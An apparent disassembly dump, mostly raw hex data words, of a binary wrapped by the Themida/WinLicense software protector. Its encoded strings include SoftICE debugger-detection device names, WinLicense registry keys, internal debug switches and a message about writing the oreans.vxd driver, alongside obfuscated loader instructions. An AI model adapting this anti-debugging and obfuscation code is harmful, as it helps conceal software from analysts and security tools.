		dd 6339AA7Ah, 16000003h, 0FE7D3174h, 1C9B0F46h,	29B02C65h
		dd 6954986h, 0C1A72362h, 36751745h, 1152F382h, 2D681E9Dh
		dd 4C812AB1h, 0E8A39D90h, 6BDEDA5Ah, 5C57DDBAh,	8D4C1EBDh
		dd 0B4CCA1D6h, 0FA9C84F5h, 19106267h, 942123A9h, 0DBF5D14Dh
		dd 54913605h, 6DD5C4A0h, 89942123h, 6AD8D3ADh, 8A942123h
		dd 14A7B98Eh, 0B7F2986Eh, 0F2981F9Bh, 13CCCBB7h, 48B779DEh
		dd 0D194A08h, 2E99Ch, 0A7EA9C00h, 0C5FCA433h, 0A2DB9209h
		dd 0BFFCAF26h, 99D88C0Bh, 0A9DB2725h, 8514C807h, 0B027A3E4h
		dd 8C0BBFFAh, 3F2A9ED3h, 0DAF44E3Dh, 93106BDEh,	0DC96D709h
		dd 6CB4837Eh, 40772DACh, 6AFBD054h, 0A0BE904Bh,	473B7419h
		dd 64150EEBh, 267FA5Ah,	0DE855426h, 4DD035A9h, 5951F198h
		dd 0B9B59422h, 0C39DC39Dh, 22597AC8h, 0A9BE9A94h, 22595602h
		dd 0BEB2AE94h, 3AE625C7h, 306F2198h, 4794277Ch,	76354B35h
		dd 942259CCh, 8070AF61h, 7EDCC7A4h, 64942259h, 0EA248067h
		dd 2249833Fh, 0E2076394h, 0E502855Ah, 0F34D3935h, 9792C168h
		dd 94228A2Bh, 7F734FCBh, 560DC6A3h, 7D537521h, 96A9C150h
		dd 0CCB2299h, 96D1958h,	95C067F4h, 22E82C96h, 886CC894h
		dd 699E45D4h, 0EF7501BDh, 67A64A11h, 1A2B7BBh, 0E71CC362h
		dd 0B4778973h, 9422E80Eh, 17CB8AE6h, 2F4C28DCh,	0DAC6FBA4h
		dd 0D6CA09BBh, 5CAE9F81h, 218403C2h, 0A1558A41h, 0F7CCA1C5h
		dd 0D9607E58h, 2D09FD32h, 2225C47Eh, 27442094h,	0E1C8F3ACh
		dd 94222561h, 11CDA985h, 0FAB1E68Ah, 94222548h,	0E094B0ACh
		dd 4BFDC8CCh, 0CA81180Ch, 45EAE195h, 0D1701308h, 13B291EBh
		dd 0E0845E12h, 254200ABh, 0C6A29422h, 567AF6AAh, 72B153E2h
		dd 2863077Eh, 6A946A7Ch, 222503BFh, 0D087E394h,	2F33DF1Ah
		dd 4BEA891Ah, 0D00BBF99h, 0E35F4A24h, 3942225h,	55274B27h
		dd 25C2802Bh, 9009422h,	942225B9h, 7A11015Dh, 88EC98D5h
		dd 50C78F6Ch, 38ED6C97h, 25AA18FFh, 49159422h, 66C41265h
		dd 0D188E49Ch, 1400E41Bh, 0B503A345h, 7312A14Dh, 8C4F9B2h
		dd 0F1A5DA91h, 0CE03BC7Fh, 1ED5EE9h, 0B0CD0193h, 4E428123h
		dd 6C1F411Bh, 2CB746D6h, 0EA3B69F9h, 6D255A3Bh,	8175B056h
		dd 660AC1A5h, 0E2F77B27h, 0DC83A241h, 374933A7h, 0B7C1CE74h
		dd 6EAD5F2Ch, 72EE9E82h, 0F025DE55h, 0B328AF04h, 0BB49F299h
		dd 61BD2687h, 3EED13EDh, 56A7CF84h, 96E70460h, 1FA3667Fh
		dd 0F756A7CFh, 0CA07BC7Bh, 64765AD6h, 0E4EF2FD5h, 45267B5Eh
		dd 0F26E223Eh
		dd 550803D5h, 0ED5C91EBh, 5D068571h, 0E99DDA8Dh, 6997698Dh
		dd 15013CF2h, 0ABD86A11h, 0E03C5894h, 1BC4530Bh, 0A56B3AE6h
		dd 9627130Ch, 0CAC1B5F0h, 0C336EA23h, 0A47745DCh, 6BD64FBh
		dd 7B578E36h, 5A8F38BFh, 6305D4A6h, 0D78C4724h,	57F9C09Ah
		dd 44434318h, 16B561A0h, 0C413570h, 42F4D877h, 5A1110AFh
		dd 0DA904B25h, 71255C04h, 42FCD1F5h, 5D70CB3h, 0A1559036h
		dd 0BC109FBCh, 678BD3D5h, 23039492h, 2D000000h,	35342240h
		dd 9F2CC633h, 0BD5BC0Fh, 9695678Bh, 4F194A2Ch, 0B58F6CC8h
		dd 0F49A215Fh, 0F4E02B9h, 8032723Ah, 9952493Dh,	7519B064h
		dd 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h
		dd 7830A75Bh, 57CF5541h, 0C781E789h, 4,	8704EF83h, 895C243Ch
		dd 8950240Ch, 405E0h, 0E8830000h, 24048704h, 243C895Ch
		dd 65C368h, 242C8900h, 12A12068h, 243C8B06h, 5404C483h
		dd 83242C8Bh, 815704C4h, 34D42434h, 458F4A9Ah, 0D4BF5708h
		dd 314A9A34h, 8B5F087Dh
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dw 0B7BDh
		dd 12A9A4B8h, 0FFC50306h, 7522E4E0h, 46264341h,	9B664461h
		dd 0D974F118h, 6E839h, 45C60000h, 0DC3984D2h, 6E9h, 979F3000h
		dd 5EF623B1h, 0FA32BB66h, 714EC681h, 14E90000h,	0E000000h
		dd 5A170912h, 3E48C00Ch, 371F276Ah, 0D82FB814h,	680CFE0Ch
		dd 0
		dd 0BE9h, 79A5F100h, 8B23F4h, 7E6C4BE7h, 0D08B6658h, 81063C8Bh
		dd 0F66C80E3h, 0E0F78104h, 0F2A60A9h, 0EF81D9B7h, 1A6421F8h
		dd 14E860h, 1B7C0000h, 8CB136FCh, 9953A533h, 0D1212DEEh
		dd 0DFAF9E9Ah, 0DCBE25F5h, 5F3436B7h, 28F0Fh, 0CA8B0000h
		dd 0C2F78161h, 0E974E2E3h, 0Ah,	0D1E36502h, 697389C4h
		dd 3C8952D3h, 8B5A5006h, 4E883DAh, 88A0Fh, 81560000h, 687815C1h
		dd 0F881597Fh, 0FFFF8FC0h, 22850Fh, 0F600000h, 480h, 12B86600h
		dd 0D08B6611h, 36E961h,	64270000h, 625378E9h, 538C51DDh
		dd 760F6A56h, 3810F60h,	0F000000h, 0E1BFD6BFh, 612A193Bh
		dd 0FFFF4FE9h, 438399FFh, 54D275D5h, 66DEBA0Ch,	757BA001h
		dd 1FF75A98h, 8CE9h, 0BD836000h, 6100D39h, 5840F00h, 0E9000000h
		dd 77h,	3E80006Ah, 8850F30h, 6A000000h,	35E94600h, 80000000h
		dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h
		dd 13E9h, 353E8000h, 8850Fh, 406A0000h,	2E946h,	6A0000h
		dd 0F203E80h, 1285h, 17E8000h, 8850F00h, 83000000h, 14E908C4h
		dd 8D000000h, 1014E985h, 90509006h, 6A965096h, 0F595FF00h
		dd 61061012h, 0E585C6C3h, 4D061023h, 39466468h,	24048138h
		dd 6BFC3044h, 20E5B5FFh, 858D0610h, 6103A32h, 8589D0FFh
		dd 61012F5h, 5C5C1EEBh,	49535C2Eh, 5C004543h, 535C2E5Ch
		dd 49565749h, 5C5C0044h, 544E5C2Eh, 454349h, 8D89C08Bh
		dd 61014B1h, 0D7DBD89h,	0BD830610h, 610158Dh, 83097500h
		dd 100095BDh, 19740006h, 0C08B5350h, 40FB8h, 65858900h
		dd 8D06100Eh, 12B8159Dh, 5BD3FF06h, 95BD8358h, 61000h
		dd 53501774h, 40FB8h, 65858900h, 8D06100Eh, 12B5049Dh
		dd 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 90123F88h, 0B65A61CDh, 0F5C3CD80h
		dd 8589C08Bh, 6101DE9h,	23E585C6h, 6A430610h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0EB35C351h, 4ED9D89h, 0E9680610h, 0B54EBA7Eh, 2404819Bh
		dd 6DD3F013h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	0B3C35747h, 0C082F08Bh,	0FFF51FAEh, 101499B5h
		dd 2D8D8906h, 8D06101Ch, 103A3285h, 81D0FF06h, 646FC8D1h
		dd 5250504Ch, 9E8h, 3C141B00h, 0B4F127h, 0CB8BACB6h, 56310F5Eh
		dd 5A596160h, 24048958h, 0FB9BD89h, 6A0610h, 283D8529h
		dd 4E80610h, 80000000h,	52000000h, 8C0F51h, 5E000000h
		dd 5250505Ah, 0EE860h, 0FFD40000h, 287DE6B4h, 0A39FDC26h
		dd 6714547Ah, 310F6159h, 448B585Ah, 52500424h, 0D98B6660h
		dd 9482BF66h, 8A310F61h, 8B585AF0h, 24448900h, 8647B904h
		dd 0E95831FCh, 9, 9BE8BE69h, 0FE54348Eh, 6AF48A84h, 81006A03h
		dd 262658C7h, 6A036A10h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 36E8C357h, 0B589DEB5h
		dd 6101E9Dh, 239F8A68h,	2434819Fh, 5F239F8Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0F4C35747h, 5056C999h
		dd 0F312979h, 1887h, 13E900h, 0C4EE0000h, 0FBA2216Ch, 2B75C4BDh
		dd 0CF3CFCA9h, 0FF159F7Eh, 139D8D0Fh, 810612ACh, 5898F8E2h
		dd 6660500Eh, 0E9E90ABEh, 0Ah, 0B3AE4CAFh, 0E1C5E5FDh
		dd 8961E42Ch, 8D89241Ch, 6102ED9h, 14359529h, 0D0FF0610h
		dd 2598589h, 0F400610h,	28585h,	0C88B6600h, 0BDBA6660h
		dd 598D8B2Fh, 61061030h, 8D8B5258h, 61015A1h, 0FE99059h
		dd 0B0000000h, 0C07D0E20h, 84CEA393h, 0D6450235h, 90500D4Bh
		dd 0C4BB60h, 0BD010874h, 6101435h, 6A006A61h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0EB2DC350h, 0A1B58B3Ch, 68061016h, 0A45B3BA5h, 138D0F60h
		dd 0E8000000h, 0Dh, 2C4FF843h, 50D47C1Ah, 0EB417897h, 605059F0h
		dd 81615A61h, 0C4DB2404h, 6A5BA4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 48049C3h, 40243845h
		dd 0B589682Eh, 6102A95h, 36AFB8Bh, 6AF48Ah, 7E9h, 85C5300h
		dd 0D0826083h, 6A036Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 571F87C3h, 898FC788h, 100D91BDh
		dd 54E98006h, 79F8DD68h, 2404815Ah, 65860723h, 1C9D8DF5h
		dd 0F0612ACh, 5093D7B7h, 0EA1DE6BEh, 0EE9936Fh,	1A000000h
		dd 0F19FFA07h, 816B1E1Ch, 0C1D2703Dh, 0F78B664Eh, 9589D0FFh
		dd 61015B5h, 4B850F40h,	0F000001h, 68Bh, 0E9B50B00h, 0F806102Dh
		dd 14E858h, 6A310000h, 7A279F80h, 0D58BF6C0h, 57188A0Dh
		dd 0CB46FC4Bh, 59F9A562h, 48C0F50h, 53000000h, 895FC88Bh
		dd 7DBF2404h, 6A4B45DBh, 0D850100h, 68061031h, 0B8419259h
		dd 0B6505250h, 310F5ECCh, 4BBF5250h, 0F05F581h,	5A616031h
		dd 81585A58h, 6E272404h, 0AE947BEh, 0D6000000h,	7ADA74DBh
		dd 0DD9FB605h, 0E181608Ch, 70BA9EE5h, 0B9036A61h, 2CC087B8h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0D5B1BFC3h, 6A036Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 344D4CC3h, 4168586Dh
		dd 0FBEE481h, 587h, 816EB900h, 34815A90h, 0E4814124h, 49B58B7Eh
		dd 8D06101Dh, 12AC279Dh, 0F460BF06h, 0E95038B8h, 0Fh, 78A726D5h
		dd 720987F1h, 0D3DDC4E5h, 89BF47C6h, 9509241Ch,	6101CA5h
		dd 80B6D0FFh, 33850F40h, 0F5000000h, 498D3358h,	0E906100Ch
		dd 159h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 18h,	0C2C35141h, 9DDCEC3Fh, 87EA8166h, 0D88BF5D7h, 13AD9529h
		dd 6A4B0610h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0F91EC351h, 0E8E14228h, 7, 14C88D90h
		dd 29C39B4Bh, 101F6995h, 0BF665E06h, 8B58AE60h,	0E585C6F9h
		dd 43061023h, 4D9533h, 95290610h, 6102119h, 22799F68h
		dd 64BE60B5h, 60525BBFh, 0CE9F98Bh, 44000000h, 557BC0D5h
		dd 8F40CBACh, 6191721Dh, 24048161h, 0B53D108h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 11C35040h, 876B2431h
		dd 99B5FFD3h, 0E9061014h, 0Bh, 2FA86AE9h, 0A8931748h, 8D7119BEh
		dd 103A3285h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 1EB2130Fh, 0E46E1C21h, 1B2DB58Bh
		dd 0D0FF0610h, 93F98B66h, 6E9h,	5626B00h, 5087E1EEh, 0EE9h
		dd 93B83800h, 9DDE13DBh, 41EDDCDCh, 93B45F06h, 0FFF88B66h
		dd 39BD03D0h, 8D06101Eh, 1073A39Dh, 0BD958B06h,	0B8061011h
		dd 1, 4FD28166h, 89E3FF4Fh, 10051D85h, 0BC18B06h, 101929B5h
		dd 66C08B06h, 83F8FA8Bh, 10158DBDh, 9750006h, 95BD83h
		dd 74000610h, 8B535019h, 40FB8C0h, 85890000h, 610132Dh
		dd 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h
		dd 40FB853h, 85890000h,	610132Dh
		dd 0B51D9D8Dh, 0D3FF0612h, 8D09585Bh, 6101091h,	0B3BF6653h
		dd 0C08B5EA9h, 0AAE9h, 666F5300h, 72617774h, 69575C65h
		dd 63694C6Eh, 65736E65h, 65684300h, 4E496B63h, 72705800h
		dd 7845746Fh, 43007469h, 6B636568h, 54554Fh, 4C6E6957h
		dd 6E656369h, 65566573h, 6F697372h, 6957006Eh, 63694C6Eh
		dd 65736E65h, 76697244h, 65567265h, 6F697372h, 6957006Eh
		dd 63694C6Eh, 65736E65h, 74736E49h, 65636E61h, 69784500h
		dd 6B4F74h, 636F7250h, 50004E49h, 4F636F72h, 45005455h
		dd 49746978h, 7845004Eh, 554F7469h, 70540054h, 4E49h, 2	dup(0)
		dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0B3388589h
		dd 858D0612h, 612B334h,	9E858D50h, 500612B2h, 168h, 4495FF80h
		dd 6A0612B3h, 38B5FF19h, 6A0612B3h, 8D006A01h, 12B2CD85h
		dd 0B5FF5006h, 612B334h, 212595FFh, 0B5FF0610h,	612B334h
		dd 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh, 89C30610h
		dd 12B33885h, 34858D06h, 500612B3h, 0B29E858Dh,	68500612h
		dd 80000001h, 0B34495FFh, 46A0612h, 0B338858Dh,	6A500612h
		dd 8D006A04h, 12B2F785h, 0B5FF5006h, 612B334h, 212595FFh
		dd 0B5FF0610h, 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h
		dd 58D95FFh, 89C30610h,	12B33885h, 34858D06h, 500612B3h
		dd 0B29E858Dh, 68500612h, 80000001h, 0B34495FFh, 46A0612h
		dd 0B338858Dh, 6A500612h, 8D006A04h, 12B2DF85h,	0B5FF5006h
		dd 612B334h, 212595FFh,	0B5FF0610h, 612B334h, 0B34095FFh
		dd 0B5FF0612h, 612B334h, 58D95FFh, 89C30610h, 12B33885h
		dd 34858D06h, 500612B3h, 0B29E858Dh, 68500612h,	80000001h
		dd 0B34495FFh, 46A0612h, 0B338858Dh, 6A500612h,	8D006A04h
		dd 12B30A85h, 0B5FF5006h, 612B334h, 212595FFh, 0B5FF0610h
		dd 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh
		dd 89C30610h, 12B33885h, 34858D06h, 500612B3h, 0B29E858Dh
		dd 68500612h, 80000001h, 0B34495FFh, 46A0612h, 0B338858Dh
		dd 6A500612h, 8D006A04h, 12B2BA85h, 0B5FF5006h,	612B334h
		dd 212595FFh, 0B5FF0610h, 612B334h, 0B34095FFh,	0B5FF0612h
		dd 612B334h, 58D95FFh, 83C30610h, 100701BDh, 840F0006h
		dd 0Bh,	7019D8Bh, 0C3830610h, 0C303894Ch, 701BD83h, 0F000610h
		dd 0B84h, 19D8B00h, 83061007h, 38950C3h, 1BD83C3h, 61007h
		dd 0B840Fh, 9D8B0000h, 6100701h, 8954C383h, 0BD83C303h
		dd 6100701h, 0B840F00h,	8B000000h, 1007019Dh, 58C38306h
		dd 83C30389h, 100701BDh, 840F0006h, 0Bh, 7019D8Bh, 0C3830610h
		dd 0C303895Ch, 858960C3h, 612B338h, 0B334858Dh,	8D500612h
		dd 12B29E85h, 1685006h,	0FF800000h, 12B34495h, 8D046A06h
		dd 12B33885h, 46A5006h,	858D006Ah, 612B32Fh, 34B5FF50h
		dd 0FF0612B3h, 10212595h, 8DBD8306h, 61015h, 0C840Fh, 0B5FF0000h
		dd 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh
		dd 0C3610610h, 38858960h, 8D0612B3h, 12B33485h,	858D5006h
		dd 612B29Eh, 16850h, 95FF8000h,	612B344h, 858D046Ah, 612B338h
		dd 6A046A50h, 11858D00h, 500612B3h, 0B334B5FFh,	95FF0612h
		dd 6102125h, 158DBD83h,	0F000610h, 0C84h, 34B5FF00h, 0FF0612B3h
		dd 12B34095h, 34B5FF06h, 0FF0612B3h, 10058D95h,	60C36106h
		dd 0B3388589h, 858D0612h, 612B334h, 9E858D50h, 500612B2h
		dd 168h, 4495FF80h, 6A0612B3h, 38858D04h, 500612B3h, 6A046Ah
		dd 0B318858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 83061021h
		dd 10158DBDh, 840F0006h, 0Ch, 0B334B5FFh, 95FF0612h, 612B340h
		dd 0B334B5FFh, 95FF0612h, 610058Dh, 8960C361h, 12B33885h
		dd 34858D06h, 500612B3h, 0B29E858Dh, 68500612h,	80000001h
		dd 0B34495FFh, 46A0612h, 0B338858Dh, 6A500612h,	8D006A04h
		dd 12B32085h, 0B5FF5006h, 612B334h, 212595FFh, 0BD830610h
		dd 610158Dh, 0C840F00h,	0FF000000h, 12B334B5h, 4095FF06h
		dd 0FF0612B3h, 12B334B5h, 8D95FF06h, 61061005h,	858960C3h
		dd 612B338h, 0B334858Dh, 8D500612h, 12B29E85h, 1685006h
		dd 0FF800000h, 12B34495h, 8D046A06h, 12B33885h,	46A5006h
		dd 858D006Ah, 612B327h,	34B5FF50h, 0FF0612B3h, 10212595h
		dd 8DBD8306h, 61015h, 0C840Fh, 0B5FF0000h, 612B334h, 0B34095FFh
		dd 0B5FF0612h, 612B334h, 58D95FFh, 0C3610610h, 3885C760h
		dd 10612B3h, 8D000000h,	12B33485h, 858D5006h, 612B29Eh
		dd 26850h, 95FF8000h, 612B344h,	840FC00Bh, 0Fh,	0B33885C7h
		dd 612h, 4DE90000h, 6A000000h, 38858D04h, 500612B3h, 6A046Ah
		dd 0B2B2858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 0B061021h
		dd 0F840FC0h, 0C7000000h, 12B33885h, 6,	0AE900h, 85C70000h
		dd 612B338h, 1,	0B334B5FFh, 95FF0612h, 610058Dh, 38858B61h
		dd 0C30612B3h, 38858960h, 8D0612B3h, 12B33485h,	858D5006h
		dd 612B29Eh, 16850h, 95FF8000h,	612B344h, 858D046Ah, 612B338h
		dd 6A046A50h, 0B2858D00h, 500612B2h, 0B334B5FFh, 95FF0612h
		dd 6102125h, 158DBD83h,	0F000610h, 0C84h, 34B5FF00h, 0FF0612B3h
		dd 12B34095h, 34B5FF06h, 0FF0612B3h, 10058D95h,	60C36106h
		dd 0B3388589h, 858D0612h, 612B334h, 9E858D50h, 500612B2h
		dd 168h, 4495FF80h, 6A0612B3h, 38858D04h, 500612B3h, 6A046Ah
		dd 0B2C4858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 83061021h
		dd 10158DBDh, 840F0006h, 0Ch, 0B334B5FFh, 95FF0612h, 612B340h
		dd 0B334B5FFh, 95FF0612h, 610058Dh, 85C6C361h, 61023E5h
		dd 7B076852h, 0B5FFADE4h, 6102E61h, 192195FFh, 85890610h
		dd 612B344h, 23E585C6h,	68520610h, 902E00E5h, 2E61B5FFh
		dd 95FF0610h, 6101921h,	0B3408589h, 85C60612h, 61023E5h
		dd 12356852h, 0B5FFB9BFh, 6102E61h, 192195FFh, 85890610h
		dd 6102125h, 23E585C6h,	68520610h, 98781034h, 2E61B5FFh
		dd 95FF0610h, 6101921h,	58D8589h, 85C60610h, 61023E5h
		dd 0DBD46852h, 0B5FFC005h, 6102E61h, 192195FFh,	85890610h
		dd 6101451h, 14E8h, 13C85200h, 0EF2F45D5h, 0CDEE79FFh
		dd 0ABD4755Fh, 667826FCh, 0C3BF0FCBh, 81CB8B5Bh, 60C8C3h
		dd 0F88B6600h, 5957D233h, 811A34FFh, 0A79015CFh, 66565E28h
		dd 0D943D981h, 4FEE8159h, 8B5A3AE5h, 29C681FBh,	0E940BEEFh
		dd 11h,	0AE1FC84Eh, 0DEDF0BCh, 0D92B592h, 0F7972591h, 3FC681D2h
		dd 89196B2Bh, 81661334h, 0F5439C8h, 89h, 2EEA8100h, 0F56A739Fh
		dd 9F2AC281h, 0E8516A73h, 10h, 0E4B90DCAh, 633CF005h, 6A1DF768h
		dd 0B3DE9184h, 0FA815958h, 0FFFFA01Ch, 2D850Fh,	0E9600000h
		dd 10h,	0F35E6F3Fh, 2E070E8Ah, 0C9C01385h, 57C16D3Fh, 2BE961h
		dd 0AEE30000h, 2E065E78h, 0AF1CB016h, 0E81D7D8Dh, 66E319F0h
		dd 51E9C78Bh, 10FFFFFFh, 86B72A3Fh, 696636ABh, 36C9B988h
		dd 1D5DE1A4h, 99E908h, 622F0000h, 68636775h, 326B6365h
		dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h
		dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h
		dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh
		dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h
		dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch
		dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h
		dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 12BAEBBDh
		dd 840F0006h, 0Ah, 9585C7h, 10610h, 85C60000h, 61023E5h
		dd 0FF726847h, 3481C4DBh, 0B693FF24h, 99B5FF54h, 8D061014h
		dd 103A3285h, 0FFD0FF06h
		dd 80F88BD0h, 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh
		dd 18840F00h, 47000003h, 0F003F80h, 30E84h, 1EE900h, 3F800000h
		dd 840F00h, 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h
		dd 0FFFFFFE2h, 0F003F80h, 585h,	2DDE900h, 1E90000h, 47000000h
		dd 0F203F80h, 0FFFFF684h, 3F80FFh, 5850Fh, 0C0E90000h
		dd 0E8000002h, 0Ah, 0FFFFCBE9h,	2B1E9FFh, 0B58D0000h, 612BA6Bh
		dd 225E8h, 0BD0300h, 830612BBh,	12BB00BDh, 840F0006h, 0Bh
		dd 158D85C7h, 10610h, 8DC30000h, 12BA76B5h, 1FCE806h, 0BD030000h
		dd 612BB00h, 0BB00BD83h, 0F000612h, 0B84h, 9585C700h, 1061000h
		dd 0C3000000h, 0BAEFB58Dh, 0D3E80612h, 3000001h, 12BB00BDh
		dd 0BD8306h, 612BBh, 0B840Fh, 85C70000h, 6100D39h, 1, 80B58DC3h
		dd 0E80612BAh, 1AAh, 0BB00BD03h, 0BD830612h, 612BB00h
		dd 0B840F00h, 0C7000000h, 10009585h, 106h, 0B58DC300h
		dd 612BA8Ah, 181E8h, 0BD0300h, 830612BBh, 12BB00BDh, 840F0006h
		dd 15h,	9585C7h, 10610h, 85C70000h, 610158Dh, 1, 98B58DC3h
		dd 0E80612BAh, 14Eh, 0BB00BD03h, 0BD830612h, 612BB00h
		dd 0A840F00h, 0C7000000h, 1015BD85h, 106h, 0A2B58D00h
		dd 0E80612BAh, 126h, 0BB00BD03h, 0BD830612h, 612BB00h
		dd 0A840F00h, 0C7000000h, 1015BD85h, 106h, 0ADB58D00h
		dd 0E80612BAh, 0FEh, 0BB00BD03h, 0BD830612h, 612BB00h
		dd 0A840F00h, 0C7000000h, 10234185h, 106h, 0B3B58D00h
		dd 0E80612BAh, 0D6h, 0BB00BD03h, 0BD830612h, 612BB00h
		dd 0A840F00h, 0C7000000h, 100BD185h, 106h, 0B9B58D00h
		dd 0E80612BAh, 0AEh, 0BB00BD03h, 0BD830612h, 612BB00h
		dd 0A840F00h, 0C7000000h, 1007DD85h, 106h, 0C7B58D00h
		dd 0E80612BAh, 86h, 0BB00BD03h,	0BD830612h, 612BB00h, 0A840F00h
		dd 0C7000000h, 102F3D85h, 106h,	0D4B58D00h, 0E80612BAh
		dd 5Eh,	0BB00BD03h, 0BD830612h,	612BB00h, 0A840F00h, 0C7000000h
		dd 102D6585h, 106h, 0DFB58D00h,	0E80612BAh, 36h, 0BB00BD03h
		dd 0BD830612h, 612BB00h, 0A840F00h, 0C7000000h,	102E6D85h
		dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
		dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h,	850F003Fh, 2, 178AC92Bh
		dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h
		dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
		dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
		dd 0D840Fh, 0F32B0000h,	0BB00B589h, 0AE90612h, 0C7000000h
		dd 12BB0085h, 6, 0B8C36100h, 0
		dd 840FC00Bh, 0Ah, 15BD85C7h, 610h, 0C88B0000h,	20EE9h
		dd 61433300h, 746F6E6Eh, 69727720h, 6F206574h, 6E616572h
		dd 78762E73h, 4D0D0A64h, 20656B61h, 65727573h, 61687420h
		dd 68742074h, 66207369h, 20656C69h, 6E207369h, 6220746Fh
		dd 676E6965h, 65737520h, 79622064h, 6F6E6120h, 72656874h
		dd 6F727020h, 6D617267h, 2Eh, 67h dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 0E9000000h, 0EFh, 23E585C6h,	68470610h, 0E3E45B86h
		dd 1499B5FFh, 858D0610h, 6103A32h, 468D0FFh, 8D000001h
		dd 1033859Dh, 0D0FF5306h, 8AB58D50h, 8B0612C0h,	0AEC032FEh
		dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 0E585C6A4h
		dd 43061023h, 8E6EFC68h, 99B5FFBCh, 8D061014h, 103A3285h
		dd 8DD0FF06h, 103385B5h, 68006A06h, 80h, 6A026Ah, 68006Ah
		dd 56C00000h, 0D88BD0FFh, 23E585C6h, 68570610h,	0A69BEE56h
		dd 1499B5FFh, 858D0610h, 6103A32h, 0BD8DD0FFh, 61031BDh
		dd 0C1B08D8Dh, 6A0612h,	37D06857h, 53510000h, 0C085D0FFh
		dd 1B850Fh, 0B58D0000h,	612BE92h, 0AB5E858Dh, 0D0FF0612h
		dd 73A38D8Dh, 0B80610h,	0FF000000h, 0E585C6E1h,	43061023h
		dd 764AA768h, 99B5FFC0h, 8D061014h, 103A3285h, 53D0FF06h
		dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h,	0E908890Eh, 2
		dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h
		dd 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h
		db 45h
byte_5776CD	db 3 dup(0)		; DATA XREF: Themida_:0054C1A8o
		dd 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
